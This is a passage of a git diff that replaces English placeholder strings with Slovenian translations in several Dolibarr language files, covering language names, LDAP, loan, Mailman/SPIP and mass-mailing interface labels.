(Algeria) -Language_ar_EG=Arabic (Egypt) -Language_ar_MA=Arabic (Moroco) +Language_ar_DZ=arabščina (Alžirija) +Language_ar_EG=arabščina (Egipt) +Language_ar_JO=arabščina (Jordanija) +Language_ar_MA=arabščina (Maroko) Language_ar_SA=Arabščina -Language_ar_TN=Arabic (Tunisia) -Language_ar_IQ=Arabic (Iraq) -Language_as_IN=Assamese -Language_az_AZ=Azerbaijani +Language_ar_TN=arabščina (Tunizija) +Language_ar_IQ=arabščina (Irak) +Language_as_IN=asamski +Language_az_AZ=azerbajdžanski Language_bn_BD=Bengalščina -Language_bn_IN=Bengali (India) +Language_bn_IN=bengalščina (Indija) Language_bg_BG=Bolgarski +Language_bo_CN=tibetansko Language_bs_BA=Bosanski Language_ca_ES=Katalonščina Language_cs_CZ=Češka +Language_cy_GB=valižanščina Language_da_DA=Danščina Language_da_DK=Danščina Language_de_DE=Nemščina Language_de_AT=Nemščina (Avstrija) Language_de_CH=Nemščina (Švica) +Language_de_LU=Nemščina (Luksemburg) Language_el_GR=Grščina -Language_el_CY=Greek (Cyprus) +Language_el_CY=grščina (Ciper) +Language_en_AE=angleščina (Združeni arabski emirati) Language_en_AU=Angleščina (Avstralija) Language_en_CA=Angleščina (Kanada) Language_en_GB=Angleščina (Združeno kraljestvo) Language_en_IN=Angleščina (Indija) Language_en_NZ=Angleščina (Nova Zelandija) Language_en_SA=Angleški (Savdska Arabija) -Language_en_SG=English (Singapore) +Language_en_SG=angleščina (Singapur) Language_en_US=Angleščina (ZDA) Language_en_ZA=Angleščina (Južna Afrika) +Language_en_ZW=Angleščina (Zimbabwe) Language_es_ES=Španščina Language_es_AR=Španščina (Argentina) Language_es_BO=Španščina (Bolivija) Language_es_CL=Španščina (Čile) Language_es_CO=Španščina (Kolumbija) +Language_es_CR=španščina (Kostarika) Language_es_DO=Španščina (Dominikanska republika) -Language_es_EC=Spanish (Ecuador) -Language_es_GT=Spanish (Guatemala) +Language_es_EC=španščina (Ekvador) +Language_es_GT=španščina (Gvatemala) Language_es_HN=Španščina (Honduras) Language_es_MX=Španščina (Mehika) -Language_es_PA=Spanish (Panama) +Language_es_PA=španščina (Panama) Language_es_PY=Španski (Paragvaj) Language_es_PE=Španski (Peru) Language_es_PR=Španščina (Portoriko) -Language_es_US=Spanish (USA) -Language_es_UY=Spanish (Uruguay) -Language_es_GT=Spanish (Guatemala) -Language_es_VE=Spanish (Venezuela) +Language_es_US=španščina (ZDA) +Language_es_UY=španščina (Urugvaj) +Language_es_GT=španščina (Gvatemala) +Language_es_VE=španščina (Venezuela) Language_et_EE=Estonski Language_eu_ES=Basque Language_fa_IR=Perzijščina @@ -56,46 +63,49 @@ Language_fi_FI=Finščina Language_fr_BE=Francoščina (Belgija) Language_fr_CA=Francoščina (Kanada) Language_fr_CH=Francoščina (Švica) -Language_fr_CI=French (Cost Ivory) -Language_fr_CM=French (Cameroun) +Language_fr_CI=francoščina (Cost Ivory) +Language_fr_CM=francoščina (Kamerun) Language_fr_FR=Francoščina -Language_fr_GA=French (Gabon) +Language_fr_GA=francoščina (Gabon) Language_fr_NC=Francoski (Nova Kaledonija) -Language_fr_SN=French (Senegal) +Language_fr_SN=francoščina (Senegal) Language_fy_NL=Frizijščina -Language_gl_ES=Galician +Language_gl_ES=galicijski Language_he_IL=Hebrew -Language_hi_IN=Hindi (India) +Language_hi_IN=hindijščina (Indija) Language_hr_HR=Hrvaški Language_hu_HU=Madžarščina Language_id_ID=Indonezijščina Language_is_IS=Islandščina Language_it_IT=Italijanščina -Language_it_CH=Italian (Switzerland) +Language_it_CH=italijanščina (Švica) Language_ja_JP=Japonščina Language_ka_GE=Gruzijščina -Language_kk_KZ=Kazakh -Language_km_KH=Khmer +Language_kk_KZ=Kazahstan +Language_km_KH=kmerski Language_kn_IN=Kannadščina Language_ko_KR=Korejski Language_lo_LA=Laoščina Language_lt_LT=Litovska Language_lv_LV=Latvijski Language_mk_MK=Makedonski -Language_mn_MN=Mongolian +Language_mn_MN=mongolski +Language_my_MM=birmanski Language_nb_NO=Norveščina (Bokmål) -Language_ne_NP=Nepali +Language_ne_NP=nepalsko Language_nl_BE=Nizozemščina (Belgija) -Language_nl_NL=Dutch +Language_nl_NL=nizozemščina Language_pl_PL=Poljščina -Language_pt_AO=Portuguese (Angola) +Language_pt_AO=portugalščina (Angola) +Language_pt_MZ=portugalščina (Mozambik) Language_pt_BR=Portugalščina (Brazilija) Language_pt_PT=Portugalščina -Language_ro_MD=Romanian (Moldavia) +Language_ro_MD=romunščina (Moldavija) Language_ro_RO=Romunščina Language_ru_RU=Ruščina Language_ru_UA=Ruski (Ukrajina) -Language_tg_TJ=Tajik +Language_ta_IN=tamilščina +Language_tg_TJ=tadžikistanski Language_tr_TR=Turščina Language_sl_SI=Slovenščina Language_sv_SV=Švedščina @@ -103,12 +113,14 @@ Language_sv_SE=Švedščina Language_sq_AL=Albanščina Language_sk_SK=Slovaški Language_sr_RS=Srbščina +Language_sw_KE=svahili Language_sw_SW=Svahilščina Language_th_TH=Thai Language_uk_UA=Ukrajinski +Language_ur_PK=urdu Language_uz_UZ=Uzbek Language_vi_VN=Vietnamski Language_zh_CN=Kitajščina Language_zh_TW=Kitajščina (tradicionalna) -Language_zh_HK=Chinese (Hong Kong) -Language_bh_MY=Malay +Language_zh_HK=kitajščina (Hong Kong) +Language_bh_MY=malajščina diff --git a/htdocs/langs/sl_SI/ldap.lang b/htdocs/langs/sl_SI/ldap.lang index 528e6e23f6f..115729b0f99 100644 --- a/htdocs/langs/sl_SI/ldap.lang +++ b/htdocs/langs/sl_SI/ldap.lang @@ -5,7 +5,7 @@ LDAPInformationsForThisContact=Informacija v LDAP bazi podatkov za ta kontakt LDAPInformationsForThisUser=Informacija v LDAP bazi podatkov za tega uporabnika LDAPInformationsForThisGroup=Informacija v LDAP bazi podatkov za to skupino LDAPInformationsForThisMember=Informacija v LDAP bazi podatkov za tega člana -LDAPInformationsForThisMemberType=Information in LDAP database for this member type +LDAPInformationsForThisMemberType=Informacije v bazi podatkov LDAP za to vrsto člana LDAPAttributes=LDAP atributi LDAPCard=LDAP kartica LDAPRecordNotFound=Zapisa ni mogoče najti v LDAP bazi podatkov @@ -13,15 +13,19 @@ LDAPUsers=Uporabniki v LDAP bazi podatkov LDAPFieldStatus=Status LDAPFieldFirstSubscriptionDate=Datum prve naročnine LDAPFieldFirstSubscriptionAmount=Znesek prve naročnine -LDAPFieldLastSubscriptionDate=Latest subscription date -LDAPFieldLastSubscriptionAmount=Latest subscription amount -LDAPFieldSkype=Skype id -LDAPFieldSkypeExample=Example : skypeName +LDAPFieldLastSubscriptionDate=Najnovejši datum vpisa +LDAPFieldLastSubscriptionAmount=Zadnji znesek naročnine +LDAPFieldSkype=Skype ID +LDAPFieldSkypeExample=Primer: skypeName UserSynchronized=Uporabnik sinhroniziran GroupSynchronized=Skupina sinhronizirana MemberSynchronized=Član sinhroniziran -MemberTypeSynchronized=Member type synchronized +MemberTypeSynchronized=Vrsta člana je sinhronizirana ContactSynchronized=Kontakt sinhroniziran ForceSynchronize=Vsili sinhronizacijo Dolibarr -> LDAP ErrorFailedToReadLDAP=Branje LDAP baze podatkov ni uspelo. Preverite nastavitev LDAP modula in dostopnost baze podatkov. -PasswordOfUserInLDAP=Password of user in LDAP +PasswordOfUserInLDAP=Geslo uporabnika v LDAP +LDAPPasswordHashType=Vrsta zgoščene vrednosti gesla +LDAPPasswordHashTypeExample=Vrsta zgoščene vrednosti gesla, ki se uporablja na strežniku +SupportedForLDAPExportScriptOnly=Podprto samo s skriptom za izvoz ldap +SupportedForLDAPImportScriptOnly=Podprto samo s skriptom za uvoz ldap diff --git a/htdocs/langs/sl_SI/link.lang b/htdocs/langs/sl_SI/link.lang index 0e71c159759..8ec7ff7d758 100644 --- a/htdocs/langs/sl_SI/link.lang +++ b/htdocs/langs/sl_SI/link.lang @@ -7,5 +7,5 @@ ErrorFileNotLinked=Datoteke ni možno povezati LinkRemoved=Povezava %s je bila odstranjena ErrorFailedToDeleteLink= Napaka pri odstranitvi povezave '%s'. ErrorFailedToUpdateLink= Napaka pri posodobitvi povezave '%s'. -URLToLink=URL to link -OverwriteIfExists=Overwrite file if exists +URLToLink=URL za povezavo +OverwriteIfExists=Prepiši datoteko, če obstaja diff --git a/htdocs/langs/sl_SI/loan.lang b/htdocs/langs/sl_SI/loan.lang index 684a469bf43..1adf652e537 100644 --- a/htdocs/langs/sl_SI/loan.lang +++ b/htdocs/langs/sl_SI/loan.lang @@ -1,34 +1,34 @@ # Dolibarr language file - Source file is en_US - loan Loan=Posojilo -Loans=Loans -NewLoan=New Loan -ShowLoan=Show Loan -PaymentLoan=Loan payment -LoanPayment=Loan payment -ShowLoanPayment=Show Loan Payment +Loans=Posojila +NewLoan=Novo posojilo +ShowLoan=Prikaži posojilo +PaymentLoan=Plačilo posojila +LoanPayment=Plačilo posojila +ShowLoanPayment=Pokaži plačilo posojila LoanCapital=Kapital -Insurance=Insurance -Interest=Interest -Nbterms=Number of terms -Term=Term -LoanAccountancyCapitalCode=Accounting account capital -LoanAccountancyInsuranceCode=Accounting account insurance -LoanAccountancyInterestCode=Accounting account interest -ConfirmDeleteLoan=Confirm deleting this loan -LoanDeleted=Loan Deleted Successfully -ConfirmPayLoan=Confirm classify paid this loan -LoanPaid=Loan Paid -ListLoanAssociatedProject=List of loan associated with the project -AddLoan=Create loan -FinancialCommitment=Financial commitment -InterestAmount=Interest -CapitalRemain=Capital remain -TermPaidAllreadyPaid = This term is allready paid -CantUseScheduleWithLoanStartedToPaid = Can't use scheduler for a loan with payment started -CantModifyInterestIfScheduleIsUsed = You can't modify interest if you use schedule +Insurance=Zavarovanje +Interest=Obresti +Nbterms=Število izrazov +Term=Izraz +LoanAccountancyCapitalCode=Računovodski račun kapitala +LoanAccountancyInsuranceCode=Zavarovanje računovodskega računa +LoanAccountancyInterestCode=Računovodske obresti na računu +ConfirmDeleteLoan=Potrdite brisanje tega posojila +LoanDeleted=Posojilo je bilo uspešno izbrisano +ConfirmPayLoan=Potrdite razvrstitev plačanega tega posojila +LoanPaid=Posojilo plačano +ListLoanAssociatedProject=Seznam posojil, povezanih s projektom +AddLoan=Ustvari posojilo +FinancialCommitment=Finančna obveznost +InterestAmount=Obresti +CapitalRemain=Kapital ostaja +TermPaidAllreadyPaid = Ta termin je že plačan +CantUseScheduleWithLoanStartedToPaid = Ni mogoče ustvariti časovnice za posojilo z začetim plačilom +CantModifyInterestIfScheduleIsUsed = Spremembe v načrtovanih dogodkih niso dovoljene # Admin -ConfigLoan=Configuration of the module loan -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Accounting account capital by default -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Accounting account interest by default -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Accounting account insurance by default -CreateCalcSchedule=Edit financial commitment +ConfigLoan=Konfiguracija izposoje modula +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) +CreateCalcSchedule=Uredi finančno obveznost diff --git a/htdocs/langs/sl_SI/mailmanspip.lang b/htdocs/langs/sl_SI/mailmanspip.lang index 7f08a061166..1d154d4087e 100644 --- a/htdocs/langs/sl_SI/mailmanspip.lang +++ b/htdocs/langs/sl_SI/mailmanspip.lang @@ -1,27 +1,27 @@ # Dolibarr language file - Source file is en_US - mailmanspip MailmanSpipSetup=Nastavitev modula Mailman in SPIP -MailmanTitle=Mailman mailing list system -TestSubscribe=To test subscription to Mailman lists -TestUnSubscribe=To test unsubscribe from Mailman lists -MailmanCreationSuccess=Subscription test was executed successfully -MailmanDeletionSuccess=Unsubscription test was executed successfully -SynchroMailManEnabled=A Mailman update will be performed -SynchroSpipEnabled=A Spip update will be performed -DescADHERENT_MAILMAN_ADMINPW=Mailman administrator password -DescADHERENT_MAILMAN_URL=URL for Mailman subscriptions -DescADHERENT_MAILMAN_UNSUB_URL=URL for Mailman unsubscriptions -DescADHERENT_MAILMAN_LISTS=List(s) for automatic inscription of new members (separated by a comma) -SPIPTitle=SPIP Content Management System +MailmanTitle=Sistem poštnega seznama Mailman +TestSubscribe=Za preizkus vpisa na sezname Mailman +TestUnSubscribe=Za preizkus se odjavite s seznamov Mailman +MailmanCreationSuccess=Test naročnine je bil uspešno izveden +MailmanDeletionSuccess=Preizkus odjave je bil uspešno izveden +SynchroMailManEnabled=Izvedena bo posodobitev Mailman +SynchroSpipEnabled=Izvedena bo posodobitev Spipa +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Administratorsko geslo Mailman +DescADHERENT_MAILMAN_URL=URL za naročnine na Mailman +DescADHERENT_MAILMAN_UNSUB_URL=URL za odjave Mailmana +DescADHERENT_MAILMAN_LISTS=Seznami za avtomatski vpis novih članov (ločeni z vejico) +SPIPTitle=SPIP sistem za upravljanje vsebin DescADHERENT_SPIP_SERVEUR=SPIP Strežnik DescADHERENT_SPIP_DB=Ime SPIP baze podatkov DescADHERENT_SPIP_USER=Uporabniško ime za SPIP bazo podatkov DescADHERENT_SPIP_PASS=Geslo za SPIP bazo podatkov AddIntoSpip=Dodaj v SPIP -AddIntoSpipConfirmation=Are you sure you want to add this member into SPIP? -AddIntoSpipError=Failed to add the user in SPIP +AddIntoSpipConfirmation=Ali ste prepričani, da želite dodati tega člana v SPIP? +AddIntoSpipError=Uporabnika ni bilo mogoče dodati v SPIP DeleteIntoSpip=Odstrani iz SPIP DeleteIntoSpipConfirmation=Ali zares želite odstraniti tega člana iz SPIP? -DeleteIntoSpipError=Failed to suppress the user from SPIP +DeleteIntoSpipError=Zatiranje uporabnika iz SPIP-a ni uspelo SPIPConnectionFailed=Neuspešna povezava s SPIP -SuccessToAddToMailmanList=%s successfully added to mailman list %s or SPIP database -SuccessToRemoveToMailmanList=%s successfully removed from mailman list %s or SPIP database +SuccessToAddToMailmanList=%s uspešno dodan na seznam pošiljateljev %s ali bazo podatkov SPIP +SuccessToRemoveToMailmanList=%s uspešno odstranjen s seznama pošiljateljev %s ali baze podatkov SPIP diff --git a/htdocs/langs/sl_SI/mails.lang b/htdocs/langs/sl_SI/mails.lang index f19fd2d5a21..a58df6ead5c 100644 --- a/htdocs/langs/sl_SI/mails.lang +++ b/htdocs/langs/sl_SI/mails.lang @@ -7,20 +7,20 @@ MailCard=Kartica e-pošte MailRecipients=Prejemniki MailRecipient=Prejemnik MailTitle=Naziv -MailFrom=Pošiljatelj +MailFrom=Izdajatelj MailErrorsTo=Naslov za napake MailReply=Odgovoriti -MailTo=Za -MailToUsers=To user(s) +MailTo=Prejemnik +MailToUsers=Za uporabnike MailCC=Kopija -MailToCCUsers=Copy to users(s) +MailToCCUsers=Kopiraj za uporabnike MailCCC=Skrita kopija -MailTopic=Email subject +MailTopic=Zadeva e-pošte MailText=Sporočilo MailFile=Priloge MailMessage=Vsebina Email-a -SubjectNotIn=Not in Subject -BodyNotIn=Not in Body +SubjectNotIn=Ni v temi +BodyNotIn=Ne v telesu ShowEMailing=Prikaži e-sporočila ListOfEMailings=Seznam e-sporočil NewMailing=Novo e-sporočilo @@ -39,77 +39,77 @@ MailingStatusSentPartialy=Delno poslan MailingStatusSentCompletely=Poslano v celoti MailingStatusError=Napaka MailingStatusNotSent=Ni poslano -MailSuccessfulySent=Email (from %s to %s) successfully accepted for delivery +MailSuccessfulySent=E-pošta (od %s do %s) je bila uspešno sprejeta za dostavo MailingSuccessfullyValidated=E-pošiljanje uspešno potrjeno MailUnsubcribe=Odjava MailingStatusNotContact=Ne kontaktiraj več -MailingStatusReadAndUnsubscribe=Read and unsubscribe +MailingStatusReadAndUnsubscribe=Preberite in se odjavite ErrorMailRecipientIsEmpty=Prejemnik ni določen WarningNoEMailsAdded=Nobenega novega e-sporočila ni za dodajanje na prejemnikov seznam. -ConfirmValidMailing=Are you sure you want to validate this emailing? -ConfirmResetMailing=Warning, by re-initializing emailing %s, you will allow the re-sending this email in a bulk mailing. Are you sure you want to do this? -ConfirmDeleteMailing=Are you sure you want to delete this emailing? -NbOfUniqueEMails=No. of unique emails -NbOfEMails=No. of EMails +ConfirmValidMailing=Ali ste prepričani, da želite potrditi to e-poštno sporočilo? +ConfirmResetMailing=Opozorilo, s ponovno inicializacijo e-poštnega pošiljanja %s boste omogočili ponovno pošiljanje tega e-poštnega sporočila v množičnem pošiljanju. Ste prepričani, da želite to narediti? +ConfirmDeleteMailing=Ali ste prepričani, da želite izbrisati to e-poštno sporočilo? +NbOfUniqueEMails=Št. edinstvenih e-poštnih sporočil +NbOfEMails=Število e-poštnih sporočil TotalNbOfDistinctRecipients=Število različnih prejemnikov NoTargetYet=Noben prejemnik še ni določen (Pojdite na jeziček 'Prejemniki') -NoRecipientEmail=No recipient email for %s +NoRecipientEmail=Ni e-pošte prejemnika za %s RemoveRecipient=Odstrani prejemnika YouCanAddYourOwnPredefindedListHere=Za kreiranje vašega modula e-pošte glejte htdocs/includes/modules/mailings/README. EMailTestSubstitutionReplacedByGenericValues=V testnem načinu so nadomestne spremenljivke zamenjane z generičnimi vrednostmi MailingAddFile=Dodaj to datoteko NoAttachedFiles=Ni dodanih datotek -BadEMail=Bad value for Email -EMailNotDefined=Email not defined -ConfirmCloneEMailing=Are you sure you want to clone this emailing? +BadEMail=Neveljavna e-pošta +EMailNotDefined=E-pošta ni definirana +ConfirmCloneEMailing=Ali ste prepričani, da želite klonirati to e-pošto? CloneContent=Kloniraj sporočilo CloneReceivers=Kloniraj prejemnike -DateLastSend=Date of latest sending +DateLastSend=Datum zadnjega pošiljanja DateSending=Datum pošiljanja SentTo=Poslano na %s MailingStatusRead=Preberite -YourMailUnsubcribeOK=The email %s is correctly unsubscribe from mailing list -ActivateCheckReadKey=Key used to encrypt URL used for "Read Receipt" and "Unsubscribe" feature -EMailSentToNRecipients=Email sent to %s recipients. -EMailSentForNElements=Email sent for %s elements. +YourMailUnsubcribeOK=E-pošta %s je pravilno odjava iz poštnega seznama +ActivateCheckReadKey=Ključ za šifriranje URL-ja, ki se uporablja za funkcijo »Potrdilo o branju« in »Odjava«. +EMailSentToNRecipients=E-pošta je bila poslana prejemnikom %s. +EMailSentForNElements=Poslano e-poštno sporočilo za elemente %s. XTargetsAdded=%s prejemnikov dodanih na ciljni seznam -OnlyPDFattachmentSupported=If the PDF documents were already generated for the objects to send, they will be attached to email. If not, no email will be sent (also, note that only pdf documents are supported as attachments in mass sending in this version). -AllRecipientSelected=The recipients of the %s record selected (if their email is known). -GroupEmails=Group emails -OneEmailPerRecipient=One email per recipient (by default, one email per record selected) -WarningIfYouCheckOneRecipientPerEmail=Warning, if you check this box, it means only one email will be sent for several different record selected, so, if your message contains substitution variables that refers to data of a record, it becomes not possible to replace them. -ResultOfMailSending=Result of mass Email sending -NbSelected=Number selected -NbIgnored=Number ignored -NbSent=Number sent -SentXXXmessages=%s message(s) sent. -ConfirmUnvalidateEmailing=Are you sure you want to change email %s to draft status? -MailingModuleDescContactsWithThirdpartyFilter=Contact with customer filters -MailingModuleDescContactsByCompanyCategory=Contacts by third-party category -MailingModuleDescContactsByCategory=Contacts by categories -MailingModuleDescContactsByFunction=Contacts by position -MailingModuleDescEmailsFromFile=Emails from file -MailingModuleDescEmailsFromUser=Emails input by user -MailingModuleDescDolibarrUsers=Users with Emails -MailingModuleDescThirdPartiesByCategories=Third parties (by categories) -SendingFromWebInterfaceIsNotAllowed=Sending from web interface is not allowed. -EmailCollectorFilterDesc=All filters must match to have an email being collected +OnlyPDFattachmentSupported=Če so bili dokumenti PDF že ustvarjeni za predmete za pošiljanje, bodo priloženi e-pošti. Če ne, e-pošta ne bo poslana (upoštevajte tudi, da so v tej različici pri množičnem pošiljanju kot priloge podprti samo dokumenti pdf). +AllRecipientSelected=Izbrani prejemniki zapisa %s (če je njihov e-poštni naslov znan). +GroupEmails=E-pošta skupine +OneEmailPerRecipient=Eno e-poštno sporočilo na prejemnika (privzeto je izbrano eno e-poštno sporočilo na zapis) +WarningIfYouCheckOneRecipientPerEmail=Opozorilo, če označite to polje, to pomeni, da bo poslano samo eno e-poštno sporočilo za več izbranih različnih zapisov, tako da, če vaše sporočilo vsebuje nadomestne spremenljivke, ki se nanašajo na podatke zapisa, jih ni mogoče zamenjati. +ResultOfMailSending=Rezultat množičnega pošiljanja elektronske pošte +NbSelected=Izbrana številka +NbIgnored=Številka prezrta +NbSent=Številka poslana +SentXXXmessages=%s poslanih sporočil. +ConfirmUnvalidateEmailing=Ali ste prepričani, da želite spremeniti e-poštni naslov %s v status osnutka? +MailingModuleDescContactsWithThirdpartyFilter=Filtri stika s strankami +MailingModuleDescContactsByCompanyCategory=Stiki po kategorijah partnerjev +MailingModuleDescContactsByCategory=Kontakti po kategorijah +MailingModuleDescContactsByFunction=Kontakti po položaju +MailingModuleDescEmailsFromFile=E-poštna sporočila iz datoteke +MailingModuleDescEmailsFromUser=E-poštna sporočila, ki jih vnese uporabnik +MailingModuleDescDolibarrUsers=Uporabniki z e-pošto +MailingModuleDescThirdPartiesByCategories=Partnerji +SendingFromWebInterfaceIsNotAllowed=Pošiljanje iz spletnega vmesnika ni dovoljeno. +EmailCollectorFilterDesc=Za zbiranje e-pošte se morajo vsi filtri ujemati # Libelle des modules de liste de destinataires mailing LineInFile=%s vrstica v datoteki RecipientSelectionModules=Določitev zahtev za izbiro prejemnikov MailSelectedRecipients=Izbrani prejemniki MailingArea=Področje e-pošte -LastMailings=Latest %s emailings +LastMailings=Najnovejša e-poštna sporočila %s TargetsStatistics=Ciljna statistika NbOfCompaniesContacts=Enolični kontakti podjetij MailNoChangePossible=Prejemnikov za potrjeno e-sporočilo ne morete spremeniti SearchAMailing=Iskanje e-pošte SendMailing=Pošiljanje e-pošte SentBy=Poslal -MailingNeedCommand=Sending an emailing can be performed from command line. Ask your server administrator to launch the following command to send the emailing to all recipients: +MailingNeedCommand=Pošiljanje elektronske pošte lahko izvedete iz ukazne vrstice. Prosite skrbnika strežnika, da zažene naslednji ukaz za pošiljanje e-pošte vsem prejemnikom: MailingNeedCommand2=Lahko jih seveda pošljete tudi »online«, če dodate parameter MAILING_LIMIT_SENDBYWEB z največjim številom e-sporočil, ki jih želite poslati v eni seji. -ConfirmSendingEmailing=If you want to send emailing directly from this screen, please confirm you are sure you want to send emailing now from your browser ? +ConfirmSendingEmailing=Če želite poslati e-pošto neposredno s tega zaslona, potrdite, da ste prepričani, da želite poslati e-pošto zdaj iz vašega brskalnika? LimitSendingEmailing=Opomba: Pošiljanje e-pošte preko spletnega vmesnika je večkrat izvršeno zaradi varnostnih razlogov in časovnih omejitev, %s prejemnikov naenkrat za vsako pošiljanje. TargetsReset=Prekliči seznam ToClearAllRecipientsClickHere=Kliknite tukaj za preklic seznama prejemnikov te e-pošte @@ -117,64 +117,66 @@ ToAddRecipientsChooseHere=Dodajanje prejemnikov z izbiro s seznamov NbOfEMailingsReceived=Število prejetih masovnih e-sporočil NbOfEMailingsSend=Masovno pošiljanje je izvršeno IdRecord=ID zapis -DeliveryReceipt=Delivery Ack. +DeliveryReceipt=Dostava Ack. YouCanUseCommaSeparatorForSeveralRecipients=Lahko uporabite vejico kot ločilo pri naštevanju več prejemnikov. TagCheckMail=Odpiranje sledenja pošte TagUnsubscribe=Povezava za odjavo -TagSignature=Signature of sending user -EMailRecipient=Recipient Email -TagMailtoEmail=Recipient Email (including html "mailto:" link) +TagSignature=Podpis uporabnika pošiljatelja +EMailRecipient=E-pošta prejemnika +TagMailtoEmail=E-pošta prejemnika (vključno s povezavo html »mailto:«) NoEmailSentBadSenderOrRecipientEmail=Email ni bil poslan. Napačen naslov pošiljatelja ali prejemnika. Preverite profil uporabnika. # Module Notifications Notifications=Obvestila -NotificationsAuto=Notifications Auto. -NoNotificationsWillBeSent=No automatic email notifications are planned for this event type and company -ANotificationsWillBeSent=1 automatic notification will be sent by email -SomeNotificationsWillBeSent=%s automatic notifications will be sent by email -AddNewNotification=Subscribe to a new automatic email notification (target/event) -ListOfActiveNotifications=List of all active subscriptions (targets/events) for automatic email notification -ListOfNotificationsDone=List of all automatic email notifications sent +NotificationsAuto=Samodejna obvestila. +NoNotificationsWillBeSent=Za to vrsto dogodka in podjetje ni načrtovanih samodejnih e-poštnih obvestil +ANotificationsWillBeSent=1 samodejno obvestilo bo poslano po e-pošti +SomeNotificationsWillBeSent=%s samodejna obvestila bodo poslana po e-pošti +AddNewNotification=Naročite se na novo samodejno e-poštno obvestilo (cilj/dogodek) +ListOfActiveNotifications=Seznam vseh aktivnih naročnin (ciljev/dogodkov) za samodejno obveščanje po e-pošti +ListOfNotificationsDone=Seznam vseh poslanih samodejnih e-poštnih obvestil MailSendSetupIs=Konfiguracij pošiljanja e-pošte je bila nastavljena na '%s'. Ta način ne more biti uporabljen za masovno pošiljanje. MailSendSetupIs2=Najprej morate kot administrator preko menija %sDomov - Nastavitve - E-pošta%s spremeniti parameter '%s' za uporabo načina '%s'. V tem načinu lahko odprete nastavitve SMTP strežnika, ki vam jih omogoča vaš spletni oprerater in uporabite masovno pošiljanje. MailSendSetupIs3=Če imate vprašanja o nastavitvi SMTP strežnika, lahko vprašate %s. YouCanAlsoUseSupervisorKeyword=Lahko tudi dodate ključno besedo __SUPERVISOREMAIL__ da bodo emaili poslani nadzorniku (deluje samo, če je email definiran za tega nadzornika) NbOfTargetedContacts=Trenutno število emailov ciljnih kontaktov -UseFormatFileEmailToTarget=Imported file must have format email;name;firstname;other -UseFormatInputEmailToTarget=Enter a string with format email;name;firstname;other -MailAdvTargetRecipients=Recipients (advanced selection) -AdvTgtTitle=Fill input fields to preselect the third parties or contacts/addresses to target -AdvTgtSearchTextHelp=Use %% as wildcards. For example to find all item like jean, joe, jim, you can input j%%, you can also use ; as separator for value, and use ! for except this value. For example jean;joe;jim%%;!jimo;!jima%% will target all jean, joe, start with jim but not jimo and not everything that starts with jima -AdvTgtSearchIntHelp=Use interval to select int or float value -AdvTgtMinVal=Minimum value -AdvTgtMaxVal=Maximum value -AdvTgtSearchDtHelp=Use interval to select date value -AdvTgtStartDt=Start dt. -AdvTgtEndDt=End dt. -AdvTgtTypeOfIncudeHelp=Target Email of third party and email of contact of the third party, or just third-party email or just contact email -AdvTgtTypeOfIncude=Type of targeted email -AdvTgtContactHelp=Use only if you target contact into "Type of targeted email" -AddAll=Add all -RemoveAll=Remove all -ItemsCount=Item(s) -AdvTgtNameTemplate=Filter name -AdvTgtAddContact=Add emails according to criteria -AdvTgtLoadFilter=Load filter -AdvTgtDeleteFilter=Delete filter -AdvTgtSaveFilter=Save filter -AdvTgtCreateFilter=Create filter -AdvTgtOrCreateNewFilter=Name of new filter -NoContactWithCategoryFound=No category found linked to some contacts/addresses -NoContactLinkedToThirdpartieWithCategoryFound=No category found linked to some thirdparties -OutGoingEmailSetup=Outgoing emails -InGoingEmailSetup=Incoming emails -OutGoingEmailSetupForEmailing=Outgoing emails (for module %s) -DefaultOutgoingEmailSetup=Same configuration than the global Outgoing email setup +UseFormatFileEmailToTarget=Uvožena datoteka mora imeti obliko email;ime;ime;drugo +UseFormatInputEmailToTarget=Vnesite niz v obliki e-pošta;ime;ime;drugo +MailAdvTargetRecipients=Prejemniki (napredna izbira) +AdvTgtTitle=Izpolnite vnosna polja, da vnaprej izberete partnerja ali stike/naslove, na katere želite ciljati +AdvTgtSearchTextHelp=Uporabite %% kot nadomestne znake. Če želite na primer poiskati vse elemente, kot je jean, joe, jim , lahko vnesete j%% , lahko tudi uporabite; kot ločilo za vrednost in uporabite ! razen te vrednosti. Na primer jean;joe;jim%%;!jimo;!jima%% bo ciljal na vse jean, joe, začeli z jim, vendar ne jimo in ne vse, kar se začne z jima +AdvTgtSearchIntHelp=Uporabite interval za izbiro int ali plavajoče vrednosti +AdvTgtMinVal=Najmanjša vrednost +AdvTgtMaxVal=Največja vrednost +AdvTgtSearchDtHelp=Za izbiro datumske vrednosti uporabite interval +AdvTgtStartDt=Začni dt. +AdvTgtEndDt=Konec dt. +AdvTgtTypeOfIncudeHelp=Ciljni e-poštni naslov partnerja in e-poštni naslov za stik partnerja ali samo e-poštni naslov partnerja ali samo e-poštni naslov za stik +AdvTgtTypeOfIncude=Vrsta ciljne e-pošte +AdvTgtContactHelp=Uporabite le, če ciljno usmerite stik v »Vrsto ciljanega e-poštnega sporočila« +AddAll=Dodaj vse +RemoveAll=Odstrani vse +ItemsCount=Element(i) +AdvTgtNameTemplate=Ime filtra +AdvTgtAddContact=Dodajte e-pošto glede na merila +AdvTgtLoadFilter=Naloži filter +AdvTgtDeleteFilter=Izbriši filter +AdvTgtSaveFilter=Shrani filter +AdvTgtCreateFilter=Ustvari filter +AdvTgtOrCreateNewFilter=Ime novega filtra +NoContactWithCategoryFound=Ni kategorije, ki bi bila povezana z nekaterimi kontakti/naslovi +NoContactLinkedToThirdpartieWithCategoryFound=Ni kategorije, ki bi bila povezana z nekaterimi tretjimi osebami +OutGoingEmailSetup=Odhodna e-pošta +InGoingEmailSetup=Dohodna e-pošta +OutGoingEmailSetupForEmailing=Odhodna e-pošta (za modul %s) +DefaultOutgoingEmailSetup=Enaka konfiguracija kot nastavitev globalne odhodne e-pošte Information=Informacija -ContactsWithThirdpartyFilter=Contacts with third-party filter -Unanswered=Unanswered -Answered=Answered -IsNotAnAnswer=Is not answer (initial email) -IsAnAnswer=Is an answer of an initial email -RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s -DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact -DefaultStatusEmptyMandatory=Empty 